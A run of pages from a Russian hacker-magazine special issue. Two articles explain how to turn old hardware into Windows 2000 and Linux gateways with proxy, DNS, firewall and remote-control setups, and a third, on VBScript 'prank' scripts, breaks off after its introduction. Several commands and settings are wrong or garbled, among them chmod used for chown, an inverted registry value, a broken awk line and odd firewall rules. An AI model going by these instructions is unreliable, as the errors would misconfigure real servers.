Не веришь, что так бывает? Вот тебе правдивая история о том, как я докатился до установки мастдая на сервак. Началось все неплохо. Я с помощью знакомого админа инета, команды man (для тех, кто в пингвинах только startx знает, man вызывает встроенную помощь о данной команде или программе) поставил у себя на четверке линуховый гейт. Вся локалка ликовала - экономия + скорость реально стали заметны. Я же спокойно готовился к сдаче ненавистных экзаменов, периодически собирая денежки на новый дистр Линуха. И вот отсыпаюсь я после экзаменов, когда раздается телефонный звонок. С трудом продрав глаза, я смутно понимаю, что мне предлагают поставить и настроить им нечто подобное моему гейту, но только с одним различием: сервак должен крутиться исключительно на NT системе. Так как им проще, и они больше доверяют "серьезной организации МикрОсофт", чем "кучке компьютерных хулиганов" (кто в танке, это так обозвали линух тим). Я повелся на обещание фришного инета и быстренько взялся за дело. Взялся-то быстро, а вот делал... Короче, дали мне вот такую машинку: чистокровный пень второй с 266 мегагерцами, памяти 64 метра да идешный винт на 4 гига, видюшка ноунэйм - серверу она только на первой время и нужна. Да строгий наказ ставить "исключительно" Винды.

ДЕРЕВЯННЫЕ РАМЫ ИЛИ ПЛАСТИК?

Сначала встал вопрос выбора ОС: брать NT4 или сразу 2К (про 2003 не говорю - ограничивает железо, не запустить его на такой конфигурации)? Блуждания по инету меня не привели ни к одному решению. Тогда я решил поставить сначала, для пробы, NT4 SP6, чтобы самому потестить этого прародителя NT5. Встала она на ура - железо для нее рульное. Но возникли гемы с настройкой сетевух (ну не хотела она верить, что карты висят не на ISA, и все тут!), на которые ушло полдня. Проблемо я решин, но остался вопрос безопасности - это ведь сервак как-никак. Ровно полчаса понадобилось на изучение багтрака и столько же на секьюритизоне, после чего стало ясно, что я очень поторопился с выбором - в сети полно разных эксплоитов дыр данной системы, даже патченной шестым паком. Так что после испытания одного из них в действии я окончательно снес NT4 - за десятиминутную атаку была получена удаленная консоль с правами админа.

СТАДА КЛАСТЕРОВ

Следующим кандидатом стал Виндовс 2000 сервер, и я уже было собрался его ставить, но предстоял еще один выбор: брать NTFS или старую добрую FAT32. NTFS по определению имеет более высокую устойчивость, может поддерживать шифрование и архивацию на уровне файловой системы, у него более развитая структура разделения прав, но при этом он работает медленней FAT32, требует больше оперативы для работы и поддерживается исключительно NT ядром (Линукс и различные драйвера для 9x я не учитываю). У FAT32 устойчивость ниже, отсутствует поддержка шифрования и архивирования средствами самой файловой системы, но зато скорость работы выше и совместимость с другими ОС есть. Я выбрал NTFS, так как мне нужны стабильность и шифрование, а совместимость не нужна, ведь комп будет работать серваком, а не простой рабочей лошадкой с пятью разными системами на борту.


Спецвыпуск Xakep, номер #033, стр. 033-038-2, СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-038-2

Дальше необходимо грамотно разбить винт, ведь и от этого зависит многое - начиная с производительности (за которой я так гонюсь на слабой машинке) и заканчивая защищенностью. А если винт маленький, как у моего артефакта, то просто необходимо разбить его похитрей, чтобы сохранить так необходимые метры. Вообще, NTFS позволяет выбирать размер кластера от 512 байт до 4096 байт (и это не предел), что позволяет более экономно использовать пространство на винте. Так, если у тебя на серваке куча файлов, имеющих длину 1-2 байта (а они неизбежно появятся в ходе работы), то при размере кластера 4096 байт ты потеряешь 4 килобайта на каждом таком файле. Это немного, но если файлов тысячи и далеко не у каждого файла размер кратен 4096 байтам (что является оптимальным сайзом, так все кластеры занимаются полностью), то потери могут доходить до сотни-другой мегов. А если на винте лежит здоровый фильм, занимающий дофига кластеров, то при его просмотре или копировании скорость работы всего компа падает, ведь ОС нужно прочитать каждый кластер и найти следующий, причем выполнить это очень быстро. Вот почему на серверах начали создавать, как минимум, три раздела: первый - системный, на него ставим серверную ОС; второй - с максимальным размером кластера, поддерживаемым данной файловой системой, на нем будут храниться фильмы, музыка и здоровенные софтины; и третий - с минимальным размером кластера, туда будут сейвиться временные файлы, все хтмлки, скрипты, почта юзеров и прочие мелочи. После такого хитрой разбивки я был уверен, что выжал из винчестера максимальную емкость, и двинулся дальше.

СТАВИМ И ОПТИМИЗИМИЗУЕМ

Установка самой ОС не вызвала особых проблем, все стало в пределах нормы без глюков. Необходимые дрова для железа нашлись в инете. Дело встало лишь за оптимизацией ОСи.

Для повышения скорости соображалки твоего сервака хорошо бы увеличить зарезервированную кэш-память. Это можно сделать, изменив в реестре значение ключа HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory-Management\LargeSystemCache типа REG_DWORD с 0 на 1. Но надо учесть, что если у тебя маловато оперативы, то такой финт может ухудшить работу с сетью - увеличится нагрузка на своп, который обладает очень малой производительностью по сравнению с оперативкой. Еще я предлагаю оптимизировать файловую систему, чтобы хоть еще на грамм поднять скорость работы сервера. Для этого мы проведем парочку несложных действий: во-первых, изменим параметр "IoPageLockLimit" в ключе [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]. Значения IoPageLockLimit при объеме оперативы в метрах такие: 32 mb - 4096000; 64 mb - 8192000; 128 mb - 16384000; 256+ mb - 65536000. Это позволит тебе несколько ускорить работу с винтом за счет выделения большего количества памяти на кэширование. А во-вторых, уберем возможность NTFS создавать имена файлов, совместимые со стандартом ДОС. Для этого найдем в реестре такой ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem] и изменим параметр NtfsDisable8dot3NameCreation на 0. Сейчас перезагрузка и создание дополнительных имен формата 8.3 отключены. Но есть одно "но": многие программы для ДОС, работающие с диском, могут вылетать с ошибкой файловой системы. Если ты столкнулся с этой траблой, то либо включи обратно параметр (измени значение на 1), либо помести софтину в каталог, имя которого не превышает 8 символов в длину и содержит не более 255 вложений.


Спецвыпуск Xakep, номер #033, стр. 033-038-3, СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-038-3

И наконец, последний финт с реестром: в ключе [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem] создаем параметр с именем "NtfsDisableLastAccessUpdate", тип REG_DWORD и делаем его равным единице. Сейчас ты отключил редко используемую возможность NTFS по изменению времени последнего доступа к каталогу. Если у тебя много вложенных папок, то ты заметишь ускорение невооруженным глазом. После несложной оптимизации мы можем смело переходить к настройке непосредственно самого сервака: прокси, фаерволла и т.д.

ПОДОИМ СЕРВЕР

Для начала поднимем часть, отвечающую за дозвон ;), чтобы организовать на этом компе сервер удаленного доступа и попользоваться благами халявного инета в нерабочее время. Все тут достаточно просто: ставим модем, устанавливаем на него дрова. Дальше запускаем мастера новых подключений (if you in broney train), кликаем правой кнопкой по сетевому окружению (My Network Places), выбираем свойства (Properties), а дальше создаем новое подключение (Create a new connection), а там юзаем пункт set up advance connection. Чтоб не было наездов и ора скажу сразу, что у меня Винда английская и я не променяю ее ни на какую русификацию, поэтому иногда буду говорить чиста англицкие пункты. Теперь твоя система сможет принимать входящие звонки, то есть будет брать трубку, когда модем зафиксирует сигнал, и проверять имя юзера/пасс, но она не сможет нормально пустить его в инет. Если юзер, подцепленный к виндовому серваку по модему, попробует вбить адрес страницы, то он, по идее, сможет ее загрузить, но есть огромное НО! IP, присвоенный юзеру Виндой при соединении, вылезет в сеть, и если в сети уже есть такой IP, произойдет очень нехорошая вещь: оба компа-конкурента начнут жутко тормозить, а потом и вовсе могу упасть в даун. Но даже если IP свободен, провайдерские админы тебе кинут огромное предупреждение - левые IP в локалке очень мешают при работе серваков, да и организовывать нужно юзеров, а то за неделю расползутся по всему диапазону от 0.0.0.0 до 255.255.255.255. Вот поэтому необходимо разграничить сеть с дозвоном и не выпускать левых IP в локалку.

НЕКИСЛЫЙ ПРОКСИК

Обеспечить такое разграничение призван прокси-сервер. В инете развелось огромное количество их модификаций, с разными возможностями и разной ценой. Но тебе нужно учесть, что наша машинка не самая мощная, и поэтому необходимо выбирать софтину, которая выполняет роль именно прокси, а не всякого фильтра и защитника сети. Только так мы сможем сохранить приемлемую скорость работы сервака. Мой выбор пал на очень неплохую программку: CoolProxy (http://www.coolproxy.narod.ru). В моем распоряжении оказалась версия 1.4. Это полноценный прокси-сервер с развитой поддержкой кэширования. Вот его плюсы: простая установка и настройка, очень грамотное кэширование графики, то есть самой трафожрущей части, достаточно простой и понятный русский фейс, возможность заказа веб-страниц (ты смотришь главную страницу сайта, находишь нужные ссылки, кликаешь по ним, и если ты сейчас оф-лайн, прога предложит "заказать" нужные паги, и они будут загружены автоматически в следующий раз). Удобно? Мне тоже понравилось, особенно если учесть, что к вечеру я забываю, что хотел скачать ночью... И самый главный плюс - возможность просмотра в оф-лайне всех страниц, посещенных во время серфа, причем эти странички сейвятся очень культурно: в папке с прогой создается каталог cache и в нем создаются подкаталоги - типа www.porno.ru.


Спецвыпуск Xakep, номер #033, стр. 033-038-4, СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-038-4

К несчастью, минусы тоже есть: отсутствует хелп, при использовании этой софтины на одиночном компьютере, подключенном к инету через модем, падает скорость работы соединения. Причина проста: сначала происходит скачивание в кэш, а потом только эти данные приходят к браузеру. Еще эта прога - шароварная, это формальность, конечно, но тем не менее. А еще был замечен такой веселый глюк: этот прокси определяет, подключен ли ты к сети, просто пингуя указанный сервак (по умолчанию - любимый microsoft.com), но я, решив провести массовую оптимизацию, указал сайт нашей локалки, и только он вырубился (гроза была...), прога начала выдавать все страницы исключительно из кэша. И только случайно это заметили - курс доллара на Яндексе оказался староватым. То есть моя интрасеть некоторое время работала вообще без связи с внешним миром, только благодаря закромам этой программульки. А это говорит о том, что очень многие юзеры качают из инета одно и то же по несколько раз. Так что ставьте, начинающие админы, кэширующий прокси, выделяйте побольше места на винте и рулите своей сетью, экономя деньги на новый девайсик.

КОЛЮЧИЙ ЗАБОРЧИК

Дальше, раз уже мы решили делать все грамотно, нам следует поставить фаерволл для защиты от внешних атак и от атак доморощенных "хакеров" на инет (а то придут к тебе раздолбаи из органов). Для этого я, руководствуясь кое-каким опытом и советами знакомых админов, выбрал софтину с именем Argnitum Outpost Firewall Pro (www.agnitum.com/download/). Опишу лишь самые важные ее плюсы: малый размер дистрибутива, несколько режимов работы (бездействие, обучение, разрешение того, что не запрещено, и запрещение того, что не разрешено), русский фейс, наличие готовых правил для многих софтин (например, опера, бат, експлорер, аутглук были уже настроены), возможность апгрейда с помощью плагинов. Так, уже по дефолту, ставятся очень полезные вещи: кэширование DNS, которое резко уменьшает время поиска IP-адреса, блокиратор рекламы, позволяющий вырезать надоедливые баннеры по размеру и по ссылкам, детектор атак и кое-какие еще. Еще мне понравилось то, что при модификации запускного файла, который раньше имел разрешение на связь с инетом, она очень громко кричит об этом.


Спецвыпуск Xakep, номер #033, стр. 033-038-5, СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА

Vint (vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-038-5

ПУЛЬТ К ТЕЛЕКУ

И последним очень важным пунктом будет управление сервером. Ведь нет смысла серверному компу иметь постоянную видеокарту и монитор. Вот поэтому я предлагаю использовать софтину для удаленного администрирования. Мне больше всего нравится простая в использовании программулька WinVNC (http://www.realvnc.com). На момент написания статьи последняя версия 3.3.7, вес проги - 564 кб. Вся программка состоит из двух частей: первая вешается на управляемый компьютер и слушает определенный порт, а вторая устанавливается на комп, с которого ты хочешь рулить сервак. Дальнейшая работа с такой программой не вызовет проблем - перед тобой обычный рабочий стол мастдая (или линухи, но это не сюда), на котором можно производить манипуляции хвостатым созданием. Также советую эту прогу установить всем знакомым ламерам, которым ты помогаешь при настройке компа, - так ты сможешь, не отрываясь от своего ящика, настроить комп челу хоть из Африки. Скорость работы вполне приемлемая: я с модема могу конфигурить сервак, чем сейчас по совместительству и занимаюсь ;).

СЕРВЕР ЖИЛ, ЖИВ И БУДЕТ ЖИТЬ

А теперь некоторые итоги на примере моего сервера. Сейчас он благополучно работает в качестве шлюза в инет, сервера удаленного доступа, фаерволла и кэширующего прокси. Установка такого компьютера на границе интрасети и инета позволит сэкономить денежки и нервы юзеров. Также существенно облегчится учет трафика, просиженного пользователями. При всех положительных чертах были замечены кое-какие минусы: понизилась скорость работы в сети, больше работы стало у местного админа по причине потенциальной нестабильности Винды. Для полноценной работы сервера необходимо больше оперативной памяти, недостаток которой очень четко проявляется в разгар рабочего дня (сеть начинает тормозить, выскакивают сообщения об ошибках при коннекте к прокси-серверу, и сам сервак резко увеличивает время ответа на пинг). Если бы юзеров в сети было поменьше (не больше 10 компов), то все было бы тип-топ, а вот при таком раскладе лучше всего поставить консольный линух и на нем настроить все вышеописанные сервисы. Хотя если скорость не столь критична, да и в пингвиньей консоли ты слабоват, ставь Винды - они вполне могут выполнять функции простого в настройке сервера.


Спецвыпуск Xakep, номер #033, стр. 033-042-1, В БОЙ ИДУТ ОДНИ СТАРИКИ

В БОЙ ИДУТ ОДНИ СТАРИКИ

Vint(vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-042-1

Превращаем четверку в сервак на Линухе

Здорово, я снова в эфире! Сегодняшняя статья наверняка будет интересна и актуальна. Ведь ты, стопудняк, уже устроился на работу к прову крупной локальной сетки, и у тебя наверняка на стенке висит старая раскуроченная четверка или даже пень. Сейчас мы найдем этому всему применение.

СУТЬ ТРАБЛЫ

Ты наверняка слышал о таких крутых вещах, как аппаратные фаерволлы, гейты (или мосты), и всегда думал, что замутить подобную хрень трудно. Ведь надо иметь новейшее железо, крутейший софт и прямейшие руки. Но, оказывается, все просто, как пупок. Я развею миф о сложности и навороченности сих плюшек простым и элегантным способом: опишу, как настроить шлюз, прокси, фаерволл и почтовый сервак на простенькой машинке: i486 с 16 мегами крутейших SIMM оперативы на борту и еще до кучи сетевуха да мопед - все исключительно isa'шки.

Как ты сам уже понял, железо нашего сервака находится на грани фантастики... 80-х годов. На кой фиг тебе это все, если можно купить крутейший сервак за кучу баксов? А зачем, если наша четверка, грамотно настроенная и оточенная, будет идти наравне с тачкой на Бартоне? Причина этого проста: для наших целей вовсе необязательна огромная производительность - проксить и фаерволить может и комп-пенсионер. Не, бабло с шефа, конечно, сруби и Бартика тащи домой, а на его место отдирай артефактную мать от стены.

Далее определимся с софтом. Для своих извратных целей я избрал дистрибутив ALT Linux Master 2.2.

ХАРД НАДО СТАВИТЬ, НА ТО ОН И ХАРД!

Все делается просто, как раз-два. Становись рутом: su, пароль root'a. Дальше DrakConf - это общий конфигуратор - в нем глянь, есть ли твоя сетевуха в списке (настройка оборудования -> автоопределение устройств). Если она найдена, идем дальше, иначе инет и его факи ждут тебя. У меня все встало идеально.

Затем мы приступаем непосредственно к установке сети, набрав команду netconf или просто в окне Network configurator кликаем по Basic host information и в открывшемся диалоге пишем сетевое имя компа, затем на вкладке Adaptor 1 включаем (Enabled) сетевуху. После чего вводим инфу о сети и о плате (IP-адрес, сетевая маска, IO Port, Irq). В поле NetDevice укажи тип сетевого устройства - сейчас это eth0 (от Ethernet), а в поле Kernel Module - имя модуля ядра, которое соответствует твоей сетевухе. И еще одна маленькая плюшка: если у тебя сетевуха PCI , то IO Port и IRQ устанавливать не нужно. Все, твоя сетевуха настроена и готова к работе.

Если у тебя будет две сетевые карты, воткни вторую и повтори все снова, а если модем, то просто включи его - внешние могут работать без особых драйверов и настроек.

А дальше следует заняться собственно настройкой нашей великой машины. Установим-ка мы шлюз!

КРУТЕЕМ И СТАВИМ ШЛЮЗ

Вообще твой комп легко может связать две сети в одну без помощи хаба, но для этого тебе нужно будет две сетевухи (или больше, смотря сколько сетей ты сливаешь) и чуток терпения дочитать эту статью. Также шлюз стоит организовывать, когда у тебя дома/на работе/в универе есть локалка и только одна дырка в Инет. Чтобы все могли его юзать, ты и ставишь шлюз, после чего тебя все носят на руках.


Спецвыпуск Xakep, номер #033, стр. 033-042-2, В БОЙ ИДУТ ОДНИ СТАРИКИ

В БОЙ ИДУТ ОДНИ СТАРИКИ

Vint(vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-042-2

Вот тебе практический пример объединения двух сетей. Дано: IBM 486 с 16 мегами мозгов, две сетевые платы, бухта витухи и два дня сроку. Решение: ставим консольную линуху, настраиваем сетевухи на eth0 и eth1 и даем IP-адреса:

ifconfig eth0 192.168.1.1 up (подняли первую карточку)

ifconfig eth1 192.168.2.1 up (подняли вторую карточку)

Дальше необходимо настроить маршрутизацию между подсетями 192.168.1.0 и 192.168.2.0, что позволит юзерам из одной подсети видеть расшаренные ресурсы в другом сегменте. Говорим, что компы, которые находятся в нашем локальном сегменте 192.168.1.*, сидят на первом интерфейсе и обращаться к ним следует напрямую:

route add net 192.168.1.0 192.168.1.1 netmask 255.255.255.0 0

А вот с машинами из соседней сетки, имеющими адреса 192.168.2.*, будем разговаривать через eth1:

route add net 192.168.2.0 192.168.2.1 netmask 255. 255. 255.0 0

Последний параметр - это метрика. Ее можно понимать как "расстояние до шлюза-назначения" или "сколько прыжков между шлюзами придется сделать пакету по пути и обратно". Так как адреса 192.168.1.1 и 192.168.2.1 являются адресами этой тачки в разных сетях, то метрика равна 0.

Пакеты для IP-адресов, которые не находятся в нашей локальной сети, будем отправлять на машину 192.168.1.11, а она сама будет разбираться, что с ними делать:

route add default 192.168.1.11 1

Обрати внимание, что значение метрики равно 1.

DNS, ЧТОБ НЕ МУЧАТЬСЯ

Дальше разберем проблему с IP-адресами и с соответствующими им именами компов - ведь символьный адрес гораздо проще запомнить, чем четырехбайтное число. Так что построим у себя в локалке DNS систему. На всякий случай напомню, что вся работа сервера доменных имен (Domain Name System) сводится к преобразованию мнемонических имен машин в IP-адреса и обратно. То есть для того, чтобы узнать, какой IP у компа VasiaPipkin, необходимо спросить DNS сервер, и только после получения ответа мы можем начинать работу. Учитывая, что на обращение к серверу DNS провайдера требуется 10-15, а иногда и все 30 секунд (это зависит от загрузки сети и от скорости соединения), установка сервера DNS в локальной сети с выходом в инет является просто необходимой. Обычно сервер DNS ставится на шлюзе, который используется для выхода в интернет. Перед началом настройки серванта следует определить, запущен ли он:

ps -ax | grep named

Если запущен - тормози его командой kill или ndc, а если он вообще не установлен, то ставь пакет bind. Учти, что исполнимый файл называется named, а сам пакет - bind. Все, дальше идет чистая настройка.

В файле /etc/named.conf лежит основная информация о параметрах сервера (редактируй из-под рута). Вот пример:

logging {category cname {null;};}; - этот параметр показывает отсутствие канонического имени

options {directory "/var/named";}; - расположение файлов имен

zone "." {type hint;file "named.ca";}; - Файл named.ca - корневой кэш, он содержит информацию о корневых серверах DNS

zone "shadrinsk.net" {type master;file "shadrinsk.net";notify no;}; - это зона, обслуживаемая нашим серваком


Спецвыпуск Xakep, номер #033, стр. 033-042-3, В БОЙ ИДУТ ОДНИ СТАРИКИ

В БОЙ ИДУТ ОДНИ СТАРИКИ

Vint(vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-042-3

zone "0.0.127.in-addr.arpa" {type master;file "named.local";}; - локальная зона

zone "1.168.192.in-addr.arpa" {type master;file "192.168.1";notify yes;}; - привязка к IP нашего серванта

Следующий файл - shadrinsk.net. Его основное назначение - выполнять преобразования символьных имен в IP. Вот что внутри:

@ IN SOA den.shadrinsk.net. hostmaster.shadrinsk.net. (

75031225; - серийный номер

7200; - обновление каждые 2 часа (указано количество секунд)

3600; - повтор каждый час

360000; - хранить информацию 100 часов

86400); TTL (время жизни) записи - 24 часа

IN NS den.shadrinsk.net

IN A 192.168.1.1

IN MX 150 den.shadrinsk.net

Файл 192.168.1 - файл обратного соответствия. Он хранит настройки перевода IP в имя. Внутренности такие:

@ IN SOA den.shadrinsk.net. hostmaster.shadrinsk.net (

75031225; - серийный номер

7200; - обновление каждые 2 часа

3600; - повтор каждый час

360000; - хранить информацию 100 часов

86400); - TTL записи - 24 часа

@ IN NS den.shadrinsk.net

1 IN PTR den.shadrinsk.net;

Запись PTR необходима при преобразовании IP в имя.

2.1.168.192 IN PTR evh.shadrinsk.net;

Если указан не весь IP, то к нему будет добавлен адрес подсети 1.168.192, причем байты в IP следует указывать в обратном порядке.

Дальше необходимо установить файл кэша (в нем хранятся основные хосты и соответствующие им IP в Инете). Для этого придется подрубиться к Инету и запустить ДНС сервер у себя на машине. Затем вбивай вот такую комбинацию: nslookup | tee ns (что значит найти более новый файл кэша серваков и их IP). После этого делай: set q=ns (или set type=ns) - это покажет тебе список корневых серверов DNS, который будет помещен в файл ns. А дальше последний шаг: преобразование сграбленного файла ns в понятный серваку вид, для этого, не мудрствуя лукаво, введи:

#./bin/awk awk ' BEGIN { /root/ { print ". IN NS " $4"." } /internet/ { print $1"." " 999999 IN A " $5 } END ' И поюзай софтину reformat вот так: reformat ns named.ca. Теперь осталось скопировать named.ca в каталог /var/named. Дальше все должно заработать.

ЭКОНОМИМ КОПЕЙКУ

Раз уж мы решили устроить большой трах для нашей четверки, превратим несчастный айбиэм компатабл компутер в настоящий прокси-сервер с установленным на нем фаерволлом.

Для начала чуток инфы. Прокси-сервер необходимо ставить, если у тебя есть локальная сеть, сервак и только один канал связи (или один реальный IP). В других случаях ставить прокси особого смысла нет. Если же твой домашний комп вообще не подключен к сети, то проксик только затормозит твою работу в Инете и не принесет никакой ощутимой выгоды. Но если у тебя есть "настоящая" локалка минимум из трех компов, то смело читай дальше - установив кэширующую проксю, ты не только увеличишь скорость доступа к Инету, но и сэкономишь траф за счет кэша.

Клаву и мозги к бою: начинаем ставить squid (http://www.squid-cache.org). С самим процессом установки возникнуть проблем не должно:

./configure; - дистр конфижится под твое ядро;

make; - сборка бинарика из сорцов;


Спецвыпуск Xakep, номер #033, стр. 033-042-4, В БОЙ ИДУТ ОДНИ СТАРИКИ

В БОЙ ИДУТ ОДНИ СТАРИКИ

Vint(vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-042-4

make install; - прога устанавливает себя, как хочет (все из-под рута).

Бинарик ставят так:

rpm -i имя_файла.rpm

А вот более сложный процесс конфигурирования сквида я опишу. Естественно, все настройки будем проводить редактируя конфигурационные файлы всенародным vi. Место нахождения этих файлов сильно отличается, в зависимости от дистрибутива (могут быть в /etc, в /usr/local/etc/squid, в /usr/local/squid/etc). Так что их придется поискать. Заюзаем команду поиска главного файла squid.conf:

find / -name "squid. conf" -print

Поиск веди от рута. А дальше грузи его в vi да не пугайся, что там 3000 строк, - настроек гораздо меньше. Вот самые необходимые:

# IP-адрес и порт, на котором будет доступен прокси-сервер для клиентов:

http_port 192.168.0.2:3128

# Уберем "общение" с соседними прокси-серверами:

icp_port 0 htcp_port 0

# Отключим кэширование динамически загружаемых страниц:

acl QUERY urlpath_regex cgi-bin \? no_cache deny QUERY

# Укажем местонахождение и размер кэша (200Мб):

cache_dir ufs /var/squid 200 32 384

# Местонахождение логов запросов к прокси-серверу:

cache_access_log /usr/local/squid/logs/access.log

# Местонахождение логов кэша:

cache_log /usr/local/squid/logs/cache.log

# Отключим лог менеджера кэша (большинство уверяет, что он не нужен):

cache_store_log none

# Пароль для анонимного ftp-соединения:

ftp_user ano@shadrinsk.net

# Откроем доступ к прокси-серверу с клиентов из нашей подсети:

acl all src 192.168.0.0/16 http_access allow all

Но это еще не все :), проблема в том, что демон сквида по умолчанию запускается с правами nobody из группы nogroup (это один из самых бесправных юзеров в Линухе). Нам следует это учесть и разрешить доступ к файлам прокси такому юзеру. Делаем это так:

chmod nobody:nogroup /usr/local/squid/logs

mkdir /var/squid

chmod nobody:nogroup /var/squid

Дальше последует первый (об этом говорит параметр z) запуск:

/usr/local/squid/bin/squid -z

Если все прошло успешно, можешь скакать от радости - твоя четверка превратилась в могучий прокси-сервант, основанный на устойчивой ОС Линукс.

ЗАЩИЩАЕМ ФАЗЕНДУ

Прокси - вещь хорошая, это тебе и анонимность, и распределение трафа, и экономия. Но это не все, на что способна наша четверочка: сейчас мы настроим на базе сей машинки межсетевой экран aka фаерволл. Пингвиний фаерволл использует принцип фильтрации пакетов, то есть он просматривает заголовки пакетов по мере их прихода и решает дальнейшую судьбу всего пакета. Защитник может прибить пакет, принять пакет или сделать с ним что-то еще более сложное, типа маскарадинга или хитрого редиректа ;). То, что Линух - правильная ОС, доказывается уже тем, что защита сетей заложена в ее ядре. Чтобы заюзать эту мазу, тебе нужно скомпилировать ядро, указав одобрение в пунктах IP forwarding/gatewaying (CONFIG_IP_FORWARD) и IP firewalling (CONFIG_IP_FIREWALL). Если включить эти пункты и задать определенные правила, Линь будет шерстить вообще все пакеты, проходящие с одного интерфейса на другой (если тебе так проще, то с одной машины на другую). Этого вполне достаточно, чтобы защитить всю локалку с помощью одного компа - гейта в Инет, что нам идеально подходит.


Спецвыпуск Xakep, номер #033, стр. 033-042-5, В БОЙ ИДУТ ОДНИ СТАРИКИ

В БОЙ ИДУТ ОДНИ СТАРИКИ

Vint(vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-042-5

Чтобы включить и настроить защиту, юзь софтину по имени ipfwadm. При настройке учитывай следующие вещи: если у тебя в сети нет особенных наворотов, то чаще всего достаточно закрыть TCP-порты с 1 по 1024, чтобы отрубить доступ к основным TCP-серверам и порты с 5000 по 65535 для запрета доступа к X-серверам. Порты 1025-4999 можно оставить открытыми. Но если у тебя в сети крутится веб, фтп или другой подобный сервак, то следует к указанным выше добавить используемые ими порты (например, для web - 80-й). Более подробно смотри в /etc/service. Все команды настройки защиты следует записать в отдельный командный файл (например, /etc/rc.d/rc.firewall) и вызывать его при выходе системы в мультирежим из файла /etc/rc.d.rc.inet1. Вот маленький отрывок такого файла с необходимыми ремарками:

#./bin/sh

NET=195.161.26.87 #Инет

LOCALNET=198.168.0.0 #локальная сеть и ее IP

/sbin/ipfwadm -B -f #сброс блокировок

#Пропускать всех внутрь локалки (вход - рубль, выход - пять ;))

/sbin/ipfwadm -B -a accept -S ${LOCALNET}/24 -D ${LOCALNET}/24

#Тормозим пакетики на TCP-серверы локалки

/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${LOCALNET}/24 0:1024 #номера портов

#Еще не пустим пакеты, направленные на Х-сервера

/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${LOCALNET}/24 5000:64575 #номера портов

#Больше блокировать порты не будем - остались открытыми порты с 1025 по 4999. Это необходимо для работы юзеров: инет, ася, ирка.

#Дальше пошла настройка гейта в Инет:

GateWayIP=195.161.26.87/32 #Реальный IP сервака

/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${GateWayIP} 24:79

# и 80 - веб

/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${GateWayIP} 0:20

# оставить открытыми порты 21-23 - ftp

# не дадим Инета плохим людям, у которых IP попадает в промежуток от 25 до 30. Последняя цифра показывает кол-во обломанных юзеров.

/sbin/ipfwadm -B -a deny -S 255.255.255.255/0 -D ${NET}.25/5

КАК ЭТО БЫВАЕТ ПО ЖИЗНИ

А сейчас я расскажу, как было в реальной жизни. Была маленькая сеточка из 25 компов (подъезд + маленькая фирма) и была эта сеть изолирована от Инета, и не было ни у кого проблем с безопасностью, но решили на общем собрании юзеры инет заиметь. Решили и сделали. Еще был один умный чувак, сказавший, что нам надо поставить гейта между всем Инетом и маленьким мирком локалки. Воздвигли мы объединенными усилиями мозгов и пива гейт на базе четверки, и стала сеточка наша защищена от внешнего вторжения фаерволлом, кэширующий прокси существенно экономил входящий траф: за месяц экономия составила около 50-150 мегов, то есть на пиво с бубликом админам хватало. И еще один бонус: так как мы юзаем только один IP из сети провайдера, то договорились на абонентскую плату в 500 рублей + пиво, а должны были 25*100=2500 рублей. А что до тормозов, то машина справлялась, даже когда все 25 юзеров выходили в Инет разом, правда, канал не резиновый, и пришлось мне чуток схитрить: поставить на свой IP приоритет повыше, чтобы в Инете без тормозов сидеть, но это другая история. Вот так. Надеюсь, ты понял, что во всех отношениях установка компа на границе сетей - очень хороший ход.


Спецвыпуск Xakep, номер #033, стр. 033-042-6, В БОЙ ИДУТ ОДНИ СТАРИКИ

В БОЙ ИДУТ ОДНИ СТАРИКИ

Vint(vint@townnet.ru)

Спецвыпуск Xakep, номер #033, стр. 033-042-6

Вот так все просто и круто. Убедился, что сила не в гигагерцах, а в прямых руках и Линухе? Так можно сделать очень много. Удачи тебе в нелегком труде начинающего сисадмина.


Спецвыпуск Xakep, номер #033, стр. 033-046-1, ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

ВОЗВРАЩЕНИЕ БЛОКНОТА - Готовим западло на скриптах

Анализирующий

Спецвыпуск Xakep, номер #033, стр. 033-046-1

(analyst1945@mail.ru)

Привет, великий западлостроитель. Я надеюсь, от тебя не отвернулись еще твои друзья-компьютерщики (а других у тебя быть не может - вам просто не о чем разговаривать), тебя не выгоняют из компьютерных клубов, а на работе злой админ не запретил запуск любимого Блокнота. Тогда появился реальный шанс припомнить былые обиды и попрактиковаться в любимом хобби - западлостроении. Об этом я тебе расскажу в сегодняшней статье.

Вкратце напомню, что весь предлагаемый далее код в компиляции не нуждается и пишется в любом текстовом редакторе (лишь бы формат выходного файла был текстовый.), сохраняется в текстовом файле с расширением WSF и запускается так же, как и ЕХЕ-файлы. Не забудь добавлять обязательные XML элементы:

<?xml version="1.0" encoding="ISO-8859-1"?>

<job id="T1">

<script language="VBScript">

<![CDATA[

в начало файла и

]]>

</script>

</job>

в конец файла соответственно. Итак, приступим.

БОРЬБА С ПИРАТСТВОМ

